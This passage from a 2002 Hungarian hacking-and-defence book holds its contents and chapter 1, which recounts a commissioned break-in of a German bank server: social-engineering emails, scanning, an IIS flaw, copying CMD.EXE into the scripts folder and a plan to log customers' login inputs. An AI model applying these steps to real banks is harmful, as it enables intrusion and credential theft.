Thomas Vosseberg
Feltörés kontra védelem Fontos figyelmeztetés! A szerző a könyv teljes tényanyagát a legnagyobb gonddal dolgozta ki, illetve állította össze, és hatékony ellenőrzések mellett készítette. A hibák ennek ellenére sem zárhatók ki, ezért a kiadó és a szerző kénytelenek felhívni a figyelmet arra, hogy hibás közlésekre visszavezethető következményekért sem garanciát, sem jogi vagy bármilyen értelemben vett felelősséget vagy jótállást nem vállalnak. Az internetcímek vagy a verziószámok a szerkesztés lezártakor rendelkezésre álló állapotot tükrözik. A kiadó és a szerző semmilyen felelősséget vagy garanciát nem vállal a változásokért, amelyek tőlük függetlenül fellépő körülményekből adódnak. Az esetleg letöltésre kínált fájok és információk kizárólag nem üzleti felhasználásra szolgálnak. Üzleti felhasználás csak a licenctulajdonos beleegyezésével lehetséges. © 2002 Franzis1 Verlag GmbH, 85586 Poing © 2002 Computer Panoráma, 1091 Budapest, üllői út 25. Felelős kiadó: Dely Tamás ügyvezető igazgató Felelős szerkesztő: Horváth Annamária Fordította: Murányi Eszter Tervezőszerkesztő: Dancs Katalin Címlapterv: Szincsák László Minden jog fenntartva. Jelen könyvet, illetve annak részeit tilos reprodukálni, adatrendszerben tárolni, bármely formában vagy eszközzel - elektronikus, fényképészeti úton vagy más módon - a kiadó engedélye nélkül közölni. A kötetet készítette: Levilágítás: HVG Press Nyomtatás és kötés: Szegedi Kossuth Nyomda Kft. 6723 Szeged, Makkosházi krt. 1. Felelős vezető: Gera Imre ügyvezető igazgató ISBN: 963 7639 225
Tartalom 1. A BANK-HACKELÉS 1.1 A feladat 1.1.1 Feltételek 1.1.2 A megoldáshoz vezető út 1.2 Hozzáférési út - információszerzés a Social Engineering módszerrel 1.3 A megfelelő cél keresése 1.3.1 Takarékpénztárak - túl sok szerverellenőrzés 1.3.2 Kutatás: IIS szerver kerestetik 1.3.3 Az operációs rendszer és a tranzakciós szoftver 1.3.4 Hogyan védik a szervert? 1.3.5 Nincsenek logfájlok - ezt biztosan az OFX irányítja 1.3.6 Adatátadás scriptekkel 1.3.7 Az adatletöltés 1.4 Utóirat a bank-hackeléshez 1.5 Összefoglalás 1.6 Sajtóbeszámolók 1.7 Tapasztalatok más bankoknál 1.7.1 Forgatókönyv a takarékpénztár-területen 2. A WINDOWS-RENDSZEREK (9X, NT, 2000) GYENGE PONTJAI 2.1 A hackeren túl - merevlemez-fejreállás, adatbetekintés vagy lopás 2.1.1 Különbségek a Windows 9x, az NT és utódai között 2.1.2 A fizikai támadás 2.1.3 Képernyővédő - jelszó - a bennfenteseknek nem okoz problémát
15 16 16 17 18 20 20 21 22 23 26 26 28 29 29 30 33 33 37 38 39 39 42
2.1.4 Automatikus lejátszás - a betörés előkészítése CD-vel
44
2.2 A jelszavak kikémlelése 2.2.1 Érdekes jelszavak szinte mindenütt akadnak
47 47
2.2.2 A jelszófájlok
49
2.2.3 Jelszavak a Windows 2000 alatt 2.3 A távoli elérésű támadás - internet- vagy hálózati felhasználók, vigyázat! 2.3.1 A fájl- és nyomtatómegosztás - veszélyes biztonsági rések 2.3.2 Mik azok a szkennerek, és hogyan működnek? 2.3.3 Milyen lehetőségeik vannak a betolakodóknak?
51 52 53 54 56
2.3.4 2.3.5
57 57
Jelszóval védett megosztások BruteForce-rohamok a megosztási jelszavak ellen
2.3.6 Óvintézkedések 2.4 További támadási technikák 3. ALAPOK
58 59
3.1 Az anonim Internetezés csökkenti a kockázatot 3.1.1 A legtöbb felhasználó sokat elárul 3.1.2 Névtelenül
61 62 63 65
3.2. A TCP/IP 3.2.1 Mi a TCP/IP?
68 68
3.2.2 Különböző protokollok a rétegekben 3.3 Néhány alkalmazás és protokoll használata és a biztonságosságuk 3.3.1 A Telnet
70 80 81
3.3.2 Az FTP 3.3.3. Az IRC
82 84
3.3.4 3.4 4. 4.1 4.2 4.2.1
85 87 91 92 92 93
Az IP-címzés Aportokról A TRÓJAIAK A történelmi minta Miből áll egy trójai? A szerver kiosztása
4.2.2 4.2.3 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 4.3.6 4.3.7 4.4 4.4.1 4.5 4.5.1 4.6 4.6.1 4.6.2 4.6.3 4.6.4
4.6.5 5.
A kliens otthon marad, és vezérli a szervert Hogyan szerzik meg a hackerek az IP-t? így álcázzák és terjesztik a trójaiakat A trójaiakat fájlokba integrálják Álcázás a WinZip-pel. A trójaiakat az ICQ-val is tovább lehet adni Elég egy CD és az automatikus lejátszás funkció A lemezek majdnem ugyanígy működnek További terjesztési stratégiák Mit csinálnak a hobby-hackerek a trójaiakkal? Sub7 - egy trójai rémisztő lehetőségekkel Támad a Sub7 BackOrifice 2K - Hálózati eszköz vagy támadás a Microsoft ellen A BO2K és összetevői így ismerjük fel a trójait a rendszerünkben Vírus- és trójai-szkenner AutoRun bejegyzések Windows-Registry - ez már izgalmas Módszerek az Explorer.exe-vel a C:\ meghajtóra
94 95 96 96 97 98 99 100 100 101 102 103 105 106 107 107 108 109 112
A runonce.exe kicserélése
112
VÍRUSOK - VESZÉLYES FÁJLOK
113
5.1 Alapok 5.1.1 Defektes cluster mint álcázás 5.1.2 Miről ismeri fel a vírusvizsgáló a vírust? 5.1.3 Videokártyák - az elvetemült támadók búvóhelyei? 5.2 A vírus felépítése 5.3 Hogyan fertőz meg a vírus egy fájlt? 5.3.1 így fertőznek a bootszektor vírusok 5.3.2 A dropper vírust helyez el 5.4 A legfontosabb vírustípusok rövid áttekintése 5.4.1 Bootszektor vírusok 5.4.2 Companion vírusok 5.4.3 Killerprogramok 5.4.4 Logikai bombák 5.4.5 Makrovírusok 5.4.6 Hálózati vírusok 5.4.7 Polimorf vírusok 5.4.8 Stealth vagy rejtőzködő vírusok 5.4.9 A TSR fájlvírusok 5.4.10 Update vírusok 5.4.11 Férgek - az ILOVEYOU és társai
115 116 117 117 117 118 118 119 119 119 121 121 122 122 122 124 124 124 125 125
5.4.12 Időzítők
126
5.5 Word makrovírus írása 5.5.1 Minden ténykedés központja - a Normal.dot fájl 5.5.2 Modul vagy osztálymodul? 5.5.3 Vírusok kontra ServiceRelease 5.5.4 Modul makrók 5.5.5 Ilyet is lehet: a vírus egy Payload-ot hív meg 5.5.6 A vírus fájltulajdonságokat vagy szövegtartalmakat változtat meg 5.5.7 A vírus jelszóval védi a fájlt 5.6 Megfertőzött osztálymodulok
126 126 127 127 127 131 132 133 133
5.7
ILOVEYOU
5.7.1 Mi az a féreg? 5.7.2 A működési mód 5.7.3 Hogyan tudott a féreg elterjedni? 5.7.4 A forrás - kommentárokkal 5.8 Hogyan működnek a vírusvizsgálók? 5.8.1 Szkennermodul 5.8.2 Víruspajzs
137 138 138 140 140 149 149 150
5.8.3 5.8.4
6.
„Fertőtlenítő" A vírusvédő program kiválasztásának a szempontjai
SZKENNELÉS - A RÉSEK KERESÉSE
6.1. A szkenner 6.2 Szkennelési eljárások 6.2.1 Szkennelés teljes TCP-kapcsolattal 6.2.2 Félig nyitott TCP-szkennelés
150 150
151 152 153 153 153
6.2.3 TCP-FIN-Scan
154
6.2.4 6.2.5 6.2.6 6.2.7 6.2.8 6.2.9
154 154 155 155 155 152
Fragmentált szkennelés UDP-lCMP-Port-Unreachable szkennelés UDP-Recvfrom-And-Write szkennelés ICMP-echo-scanning/ping-szkennelés A nyitott portok csak a kezdetet jelentik A portszkennelés elleni védelem
7.
JELSZÓFELTÖRÉS
157
7.1 7.2 7.3 7.3.1 7.3.2 7.4 7.4.1 7.4.2 7.4.3 7.4.4 7.4.5
Hackelt security-site - jelszófeltöréssel ez is lehetséges Mire kell ügyelni a felhasználói oldalról? A jelszófeltörők Ismert felhasználói nevek jelszavainak a kitalálása A beállítások egy áttekintésben Jelszavak megfejtése a John the Ripperrel Single Mode A szólista módszer Incremental mód Extemal mód A John legfontosabb parancsai
158 160 161 162 162 163 163 164 164 165 165
7.4.6 A jelszófájl 8. TÁMADÁSOK AZ INTERNET-FELHASZNÁLÓK ELLEN 8.1 E-mail-támadások 8.1.1 Mailbombák - túlcsordul a postafiók 8.1.2 A fájlmelléklet kitömése 8.1.3 A ConCon bug 8.2 ICQ - praktikus és veszélyes 8.2.1 Az ICQ - biztonsági kockázat? 8.2.2 Milyen biztonsági rések vannak? 9. SNIFFER 9.1 Mi az a sniffer? 9.2 Hogyan működik egy sniffer? 9.3 A sniffer veszélyei 9.4 Mit lehet tenni a snifferek ellen? 10. A DENIAL OF SERVICE TÁMADÁS 10.1 Az IP-spoofing mint előfeltétel 10.2 Out-of-Band csomagok - a „nuken" 10.3 Large Packet-támadások avagy a Ping of Death 10.4 Land támadások 10.5 TCP-Syn-Flooding 10.6 Ping-Flodding 10.7 Smurf 10.8 DDoS - Distributed Denial of Service támadások 10.9 Védelem a DoS-támadások ellen 11. BUFFER-OVERFLOW 11.1 Az operációs rendszer memóriakezelése 11.1.1 Szöveg 11.1.2 Adatok 11.1.3 Astack (magyarul: halom/rakás)
165 167 168 168 170 172 174 175 176 181 182 182 184 184 187 188 189 190 190 191 192 192 192 193 195 196 197 197 197
11.2 A Buffer-Overflow-támadások 11.2.1 Hogyan lehet ezt kihasználni?
197 198
11.2.2 Hogyan működik? 11.2.3 Minek kell a Shellcode változónál állnia? 11.3 Áldozat a Buffer-Overflow-kért 11.4 Honnan lehet felismerni a Buffer-Overflow-t? 11.5 Milyen védelmi mechanizmusok vannak? 11.5.1 Összefüggés a CPU és a Buffer-Overflow között 11.5.2 A Buffer-Overflow-k és a tűzfalak
199 202 208 209 211 212 212
12.
213
BIZTONSÁG A WEBEN
12.1 CGI-scriptek biztonságossága 12.1.1 A CGI további ismert gyenge pontjai 12.1.2 Látogatásszámláló résekkel - count.cgi 12.2 Védelem 12.3 BBS biztonság 12.4 Jelszóval védett webterületek megtámadása
214 217 221 221 222 224
12.4.1 Védelem
225
12.4.2 Hitelkártya fake-ek 12.5 Defacement - a „script kidek" nemzeti sportja 12.6 Hogyan védhetjük meg a webszervert?
226 227 229
13. TŰZFALAK
231
13.1 A tűzfal feladatai 13.1.1 A tűzfal biztonsági szempontból fontos összetevői 13.1.2 A tűzfalak kategóriái 13.1.3 Tűzfal-koncepciók 13.1.4 Hogyan ismeri fel a támadó a tűzfalat? 13.2 Desktop tűzfalak 13.2.1 Egy desktop tűzfal megtámadása 13.2.2 Védelem a desktop tűzfallal
232 233 234 235 236 237 239 240
1. fejezet - Tartalom A feladat...................................................16 1.1.1 Feltételek..............................................16 1.1.2 A megoldáshoz vezető út.................................17 Hozzáférési út - információszerzés a Social Engineering módszerrel___18 A megfelelő cél keresése..................................... .20 1.3.1 Takarékpénztárak-túl sok szerverellenőrzés..................20 1.3.2 Kutatás: IIS szerver kerestetik .................. .21 1.3.3 Az operációs rendszer és a tranzakciós szoftver 22 1.3.4 Hogyan védik a szervert?.................................23 1.3.5 Nincsenek logfájlok - ezt biztosan az OFX irányítja . 26 1.3.6 Adatátadás scriptekkel............... 26 1.3.7 Az adatletöltés.......................................... 28 Utóirat a bank-hackeléshez 29 Összefoglalás...............................................29 Sajtóbeszámolók............................................30 Tapasztalatok más bankoknál...................................33 1.7.1 Forgatókönyv a takarékpénztár-területen.....................33
1 A bank-hackelés Rövid ideig az érdeklődés középpontjába került egy különös támadás egy németországi bankszerver ellen, amelyről ebben a fejezetben írunk. A támadás visszhangja a könyv szerzőjére nézve mindenképpen pozitív volt, csak a bank jött ki rosszul az ügyből. Az érintett intézmény a „betörés" hatására ugyan változtatott online banking rendszerén, így a támadás ennek a könyvnek a megjelenésekor már nem ismételhető meg, ám mivel a potenciálisan fenyegető károk még most is jelentősek lehetnek, a bank nevét a szerzők - jogi megfontolásokból - letakarták.
1.1 A feladat 2001 júniusában érdekes feladatot kapott egy fiatal hacker-csoport: banki rendszereket és elektronikus kártyákat kellett tesztelniük, s az ARD Technikai Tanácsadó műsor keretében kellett ellenőrizni, mennyire biztonságos manapság az online banki ügyintézés Németországban. A biztonság kérdését kétféleképpen lehetett megközelíteni: « Mennyire védettek az ügyfelek adatai, vannak-e lehetőségek betörni egy banki szerverbe? • Mennyire biztonságosak a tranzakciók, amelyeket a homebanking során végrehajtanak? Van-e lehetőség, adatokat lekérdezni, manipulálni, átirányítani stb.?
1.1.1 Feltételek A feladat természetesen bizonyos feltételekhez volt kötve. Ezek közé tartoztak: « Egyeden ügyfelet sem érhet kár. Ez azt jelentette, hogy egyetlen tranzakciót sem lehetett úgy manipulálni vagy hamisítani, hogy az végrehajthatatlanná váljon. • A bank online rendszerét nem lehetett sem zavarni, sem korlátozni a működésében. • Mindennek észrevétlenül kellett történnie, nehogy az érintett bank az adás sugárzása előtt ideiglenes intézkedéseket tegyen, hogy megakadályozza a hiányosság nyilvánosságra kerülését.
1.1.2 A megoldáshoz vezető út A dolog a következőképpen zajlott: 1. Meg kellett találni a hozzáférési utat az adatokhoz vagy a szerverhez. 2. Be kellett törni a rendszerbe, és fel kellett deríteni a manipulációs lehetőségeket. 3. Ki kellett kémlelni az adatokat. 4. Manipulálni kellett a tranzakciókat. Két lehetséges indítás jutott a csoport eszébe: • Az intézmény webszerverének a megtámadása; • Trójai elhelyezése a homebanking-ügyfeleknél, és ezt követően a banki szerver megtámadása a
kikémlelt ügyféladatokkal. Az egyszerűbb természetesen a régi jó trójaihoz való visszanyúlás lett volna: néhány PC-t kikémlelni, majd a megfelelő pillanatban, amikor az ügyfél online intézi banki ügyeit, lecsapni. Néhány terepkísérlet után azonban ez a lehetőség a hajánál előrángatottnak tűnt. Ügyfeleket kell találni, át kell játszani nekik egy trójai vírust, installálni kell a trójait stb. Ráadásul egy ilyen indítást állandóan felügyelni is kell, hiszen a kikémlelés után várni kell az első homebanking tranzakcióra. S ha egy ilyen akció kitudódna, annak olyan sajtóviszhangja lenne, hogy aligha lehetne végrehajtani a tulajdonképpeni tesztet. A megfelelő lehetőséget tehát csak egy pénzintézet webszerverének a feltörése jelenthette. Ez természetesen heves vitákat váltott ki, nem utolsósorban a (német) Btk. 202. és 263. §-aira való tekintettel. Végülis arra a döntésre jutottak, hogy egyszer azért megpróbálkoznak vele, hiszen talán csak kisebb hiányosságokra bukkannak, amelyeket nyugodtan fel lehet mutatni. Természetesen egyik résztvevőnek sem volt pontos koncepciója, és azt sem tudták, hogyan is néznek ki pontosan a banki rendszerek. Először tehát információkat kellett gyűjteniük.
1.2 Hozzáférési út - információszerzés a Social Engineering módszerrel Mindenekelőtt személyes kapcsolatokon keresztül próbáltak információkat szerezni a bankszerverről. Azonban a saját ügyféltanácsadót kérdezgetni bankja szerverének részleteiről nem túl szerencsés, hiszen többnyire maga sem tud róla semmit, vagy pedig gyanút fog. Más megoldást kellett tehát találni. Először tájékozódni kellett a banki struktúráról. Több banknak e-mailt írtak, amelyben ügyfélnek adták ki magunkat, aki hallott egy másik bank webszerverét ért hackertámadásról, és most tudni akarja a saját bankjáról, hogy valójában mennyire van biztonságban ennek az intézménynek a pénze, illetve védett-e az online banki szolgáltatása. A mailt úgy kellett megírni, hogy a felépítése miatt ne tudjanak egy szabvány ügyfélszolgálati szöveggel válaszolni rá. Éppen ezért hálózattech-nikailag jártasnak mutatták magunkat, és végezetül szenvtelenül megkérdezték, hogyan is védi a bank az online ügymenetet és az ügyfelek adatait. Ezt a mailt elküldték 10 nagy német pénzintézetnek, amelyek online portált működtetnek. Körülbelül 5 nap és 9 „Aggodalomra semmi ok, a pénze sehol sincs nagyobb biztonságban, mint nálunk. Az ÖN XY bankja." típusú szabványmail után, a szerzőket is meglepve, az alábbi mail érkezett. 1. Az infrastruktúra Az XY bank online banki rendszerének infrastruktúrája a következők szerint van kiépítve: Valamennyi online banking megkeresés egy Cisco routeren keresztül érkezik, amely csak a 443-as portot (HTTPS-kódolású adatátvitel SSL-lel) bocsátja rendelkezésre, és csak az exkluzíván az online banki rendszer elé kapcsolt pluggateway-en, integrált tűzfallal, enged át kéréseket, Így az ügyfelek banki adatainak az átvitele az online banking oldal betöltésétől kezdve biztonságos és kódolt. A Cisco router mögött még egy exkluzíván az XY bank számára installált, Intrusion Detection System is található, amely naplózza, jelzi és vissza is veri a rendszer elleni támadásokat. A plug-gateway, amely a Cisco router és a bank szervere között található, a következő feladatokat látja el: Az internetkapcsolat és a webszerverhez kapcsolódás fizikai szétválasztása: egy külső rendszertől induló kapcsolat felépítésénél átveszi a kapcsolatot, és az internetről jövő kapcsolattól fizikailag elválasztott kapcsolatot állít elő a webszerverhez úgy, hogy semmilyen visszacsatolás nem lehetséges kívülről a külső rendszerre. A plug-gateway tűzfala minden csomagot analizál, és csak a szűrőszabályok (csak HTTPS elérések engedélyezettek) teljesülése esetén továbbítja az online banki rendszer webszerverére. Továbbá az
adatbázis szerver fizikailag el van választva a webszervertől és az alkalmazástól, így az adatbázist egyáltalán nem lehet közvetlenül elérni az internetről. 2. Biztonság Az infrastruktúra (hardver és rendszerszoftver szinten) megfelelő védettsége érdekében még a következő biztonsági intézkedéseket tettük az online banki ügyintézésnél: A kliens és a szerver közötti kapcsolat 128 bites maximális kódolással épül fel. Ez a szabvány az internetes tranzakcióknál biztonságos. A PIN-ek kódolva vannak tárolva az adatbázisban, és semmilyen visszacsatolást nem engednek meg a valójában felhasznált PIN-re. 3. Az adminisztrátor 2001.06. havi biztonsági analízise A rendszeradminisztrátor 2001. 06. hóban maga hajtott végre szkennelést a nyitott internetfellépés és a bank online rendszere ellen. Mint várható, az online banki rendszer csak HTTPS-en keresztül (443. port) a 128 bites kódolású, biztonságos internet-eléréssel érhető el. A kísérlet, hogy további információkat tudjunk meg a rendszerről (hardver, operációs rendszer, szerver stb.), nem sikerült. Ez egy jól sikerült példa volt a Social Engineeringre, arra a módszerre amelynek révén részletes bepillantást nyerhettek a banki webszerver biztonsági intézkedéseibe. A részletes információk szkennelése - finommunkák Ami a mail-bői nem derült ki, azonban néhány szkennelés (közelebbit ld. később) eredményeként már világos volt: minden bank különböző pénzügyi szoftvereket használ, például az OFX-et (Open Financial Exchange). Ezek gondoskodnak a számlaszámok és a PIN-ek belépő ellenőrzéséről, és kezelik a további ügyfélinformációkat. Miután ezekről a szerver-kliens szoftverekről csak szűkös információkat találtak, világossá vált a számukra, hogy csak egy bank login oldaláról juthatnak hozzá az ügyfelek adataihoz. Még ha lehetséges is lenne adatokhoz jutni az OFX-adatbázisból, továbbra is tisztázatlan, hogy nincsenek-e esetleg kódolva ezek stb.
1.3 A megfelelő cél keresése Az ötlet tehát az volt, hogy keresnek egy nagyobb bankot, amelynek a szervere közvetlenül csatlakozik az online banking-hez, és ott úgy változtatják meg a login-oldalakat, hogy minden bevitel egy log-fájlba vándoroljon. A kérdés csak az volt, melyik bank legyen az?
1.3.1. Takarékpénztárak - túl sok szerverellenőrzés A német takarékpénztárak az infrastruktúrára vetett rövid pillantás után kiestek. Az volt ugyanis a probléma velük, hogy ugyan majdnem minden takarékszövetkezetnek van saját weboldala, ám az onlinebanking egy számítógépközponton keresztül zajlik. Itt van példának a www.ostspa.de. Ennek az oldalnak a szervere Schwerinben van, de a tulajdonképpeni oldal, ahol az ügyfelek a számlájukhoz férnek, a következő cím alatt fut: https://ww2.hotnebanking-mecklenburgvorp.de/cgi/anfang.cgi/Ostseespk_Rostock, miközben ez a szerver a DVG-nél, Hannoverben található. Egy támadás itt egy kicsit melegnek tűnt, mert például Hannoverben majdnem minden takarékpénztárat ÉszakNémetországból hostolnak, és ki lehetett indulni abból, hogy az adminek „a gépen ülnek", és már egy tesztcélú szkennelés is figyelmet keltene.
1.3.2 Kutatás: US-szerver kerestetik így tehát inkább a nagyobb bankokra kellett összpontosítani. Mivel a keresett formátumból tulajdonképpen nem sok volt, azzal kezdhettek, hogy minden egyes bankot megvizsgáltak. A hackeléshez tulajdonképpen csak egy Microsoft HS-szerver jöhetett szóba. Szkenneltek néhány bankot, hogy lássák a szervereiket. Részletek a szerverekről
Itt láthatók az infók a felhasznált szerverekről
A szkennelő program segítségével különböző bankportálokat vizsgáltak, hogy megtalálják a betörésre alkalmas rendszert. A program szállította a legfontosabb információkat az egyes bankok és takarékpénztárak webszer-vereiről. (A szkennelés témájáról a 6. fejezetben részletesen is olvashatnak.) Napokig tartó szkennelés után találták meg a ••• oldalt, egy portált, amelyen keresztül úgy a bank, mint egy leányvállalat, a ••• ügyfelei be tudtak login-olni. A cél ismertetőjegyei - az előkészítés feltételei A cél optimálisnak tűnt, mert e bank ügyfeleinek egész Németországban erről a portálról kellett bejelentkezniük, így az oldal elérési számainak is magasnak kellett lenniük. Utólagos becslések szerint az említett szám 5000 és 9000 között mozgott óránként. Egy további érv, amely e bank mellett szólt, a szerver tervezett átépítése volt, úgy az oldalé, mint magáé a rendszeré. Tehát abból indulhattak ki, lehetséges, hogy sikerrel járnak. A bank minden szakembere az új projekten dolgozik, és a még futó régi rendszert „elhanyagolják", így a webszerver megtámadásának az időpontja több mint ideális. A támadáshoz a következő lépéseket kellett végrehajtani: 1. Feltérképezni az operációs rendszert és a tranzakciókhoz használt szoftvert. 2. Ellenőrizni a védelmi mechanizmusokat. 3. Ellenőrizni, hogy vannak-e logfájlok információkkal. 4. Kikutatni az adatátvitelt. 5. Hitelesíteni. 6. Tesztelni az exploitokát.
1.3.3 Az operációs rendszer és a tranzakciós szoftver Egy NT-webszerver IIS 4.0-val, Tivoli Management Software-rel karbantartva (amelynek a hibáiról lehetett már hallani)! De ezt ezen a szerveren nem ellenőrizték, mert egy végzetes rés a IIS-en, amely a parancsok dekódolását érintette, tökéletesen elegendő volt.
1.3.4 Hogyan védik a szervert? Úgy tűnt, a szervert tűzfal védi, mert nem válaszolt a pingekre, és kapcsolatokat sem engedett meg
kifelé. A szkennelések során nem derült ki pontosan, milyen tűzfalról volt szó, és azt sem lehetett megmondani, hogy a webszolgáltatón (80. port) és a HTTPS-en (443. port) kívül más portok elérése is megengedett-e, de ezt kizárni sem lehetett, mert a netstat-jelentés 4:00 óra körül kapcsolatokat mutatott a 4966/4967 portra. Mivel a távoli számítógépet egy komputernévvel jelölték, intranet kapcsolatból indulhattak ki. Íme a netstat-jelentés: Prot. Helyi címek
Távoli címek
Állapot
TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP
0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0
LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING LISTENING
TC P TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP
Prot. TCP
0.0.0.0:135 0.0.0.0:135 0.0.0.0:161 0.0.0.0:512 0.0.0.0:1027 0.0.0.0:1031 0.0.0.0:1037 0.0.0.0:2867 0.0.0.0:2874 0.0.0.0:2882 0.0.0.0:3037 0.0.0.0:3038 0.0.0.0:3111 0.0.0.0:3125 0.0.0.0:3128 0.0.0.0:3168 0.0.0.0:3489 0.0.0.0:3697 0.0.0.0:4487 0.0.0.0:4796 0.0.0.0:5044 127.0.0.1:1025 127.0.0.1:1025 127.0.0.1:1026 127.0.0.1:1028 127.0.0.1:1031 1 72.24. 152.xx: 137 172.24. 152.xx:138 1 72.24. 152.xx: 139 1 72.24. 152.xx: 1029 172.24.1 52. xx:3038 1 72.24. 152.xx:31 11 172.24. 152. xx:3125 172.24.152.xx:3126 172.24.152.xx:3127 193.158.209.xx:80 193.158.209.xx:80 193.1 58. 209.xx:80 193.158.209.xx:80 193.158.209.xx:80 193.158.209.xx:80 193.1 58. 209.xx:80 193.158.209.xx:80 193.158.209.xx:80 193.158.209.xx:80 193.158.209.xx:137 193.158.209.xx:138 193.158.209.xx:139 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193. 158.209. xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443
0.0.0.0:0 127.0.0.1:1031 0.0.0.0:0 0.0.0.0:0 127.0.0.1:1025 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 172.24.153.4:80 172.24.153.4:80 172.24.153.5:1435 172.24.153.5:1435 172.24.153.5:1435 0.0.0.0:0 62.27.xx6.3:1036 62.46.166,211:4232 62.46.166.211:4233 62.xx6. 133.236:57480 193.101.4.4:1557 212.197.145.191:1042 212.197.157.61:1119 212.197.158.144:1073 217.2.206.133:4233 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 0.0.0.0:0 62.27.130.213:1182 62.27.130.213:1233 62.27.130.213:1234 62.27.130.213:1235 62.27.130.213:1236 62.27.130.213:1237 62.27.130.213:1238
LISTENING LISTENING ESTABLISHED LISTENING LISTENING ESTABLISHED LISTENING LISTENING LISTENING LISTENING ESTABLISHED TIME_WAIT ESTABLISHED TIME_WAIT TIME_WAIT LISTENING TIME_WAIT TIME_WAIT ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED ESTABLISHED LISTENING LISTENING LISTENING LISTENING CLOSING TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT
Helyi címek
Távoli címek
Állapot
193.158.209.xx:443
62.27.130.213:1240
TIME_WAIT
TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP TCP UDP
193.1 58. 209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.1 58. 209.xx:443 193.158.209.xx:443 193.1 58.209. xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.1 58.209. xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.158.209.xx:443 193.1 58. 209.xx:443 1 93.1 58. 209.xx: 1030 193.158.209.xx:3128 0.0.0.0:135
62.27.130.213:1241 62.27.130.213:1242 62.27.130.213:1243 62.27.130.213:1244 62.27.130.213:1245 62.27.130.213:1246 62.27.130.213:1247 62.27.xx6.3:1037 62.27.xx6.3:1038 62.27.xx6.3:1039 62.27.xx6.3:1040 62.27.xx6.3:1041 62.27.xx6.3:1042 62.27.xx6.3:1043 62.27.xx6.3:1044 62.54.56.xx: 11 94 62.153.19.xx:1182 62.153.19.xx:1184 62.153.19.xx:1185 62.153.19.xx:1186 62.xx6.165.xx:2326 63.11.56. xx:1277 193.158. 209.xx:3121 193.158.209.xx:3128 209. 154.59.xx: 1202 0.0.0.0:0 193.158.209.xx:443 *:*
UDP
0.0.0.0:161
*:*
DP
172.24. 152.xx:137
*:*
UDP
172.24.152.xx:138
*:*
UDP
1 72.24. 152.xx: 1029
*:*
UDP
193.158.209.xx:137
*:*
UDP
193.24.152.xx:138
*:*
UDP
193.24.152.xx:1030
*:*
TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT ESTABLISHED CLOSING TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT TIME_WAIT CLOSING TIME_WAIT ESTABLISHED CLOSING LISTENING ESTABLISHED
1.3.5 Nincsenek logfájlok ezt biztosan az OFX irányítja IIS logfájlokat egyáltalán nem találtak, sem a C:\WINNT\ system32\LogFiles könyvtárban, sem máshol. Találtak viszont OFX-szoftver-jelentéseket, amelyek azonban nem adtak információt a kapcsolatokról. Feltételezték, hogy vagy a tűzfal log-okat értékelik ki, vagy teljesen lemondanak a loggolásról! Az OFX-ről A szerveren sem folyószámla-adatokat, sem adatbázis-jelszavakat vagy hasonlókat nem találtak. Ebből továbbra is arra következtettek, hogy ezeket központilag tárolják egy számítógépen, és ezt éri el, illetve kezeli az OFX szoftver. Az OFX-et az ASP-oldalakról - amelyek szokatlan módon nem VB scripteket, hanem JAVA scripteket használnak - vezérlik, és az adatokat nem lokálisan ellenőrzik; a felhasználói adatokat egy adatbázisba küldik, és ott hasonlítják össze. Tehát a tranzakcióknál a tranzakciók számai, a PIN és a felhasználó által megadott TAN az OFX-hez továbbítódik, amely aztán visszaadja a hibakódokat.
1.3.6 Adatátadás scriptekkel A szkennelés után világos lett, milyen módon lehetne megtámadni a szervert. Természetesen pontosan megnézték, hogyan is fogadja és továbbítja a rendszer az adatokat bejelentkezéskor. Előkészületek (hozzáférés megszerzése) A megfelelő URL megadásával elérték a hozzáférést. A parancsfordító CMD.EXE-t a webszerver rendszerkönyvtárából a script-könyvtárba másolták, hogy működőképesen legyen kezelhető a
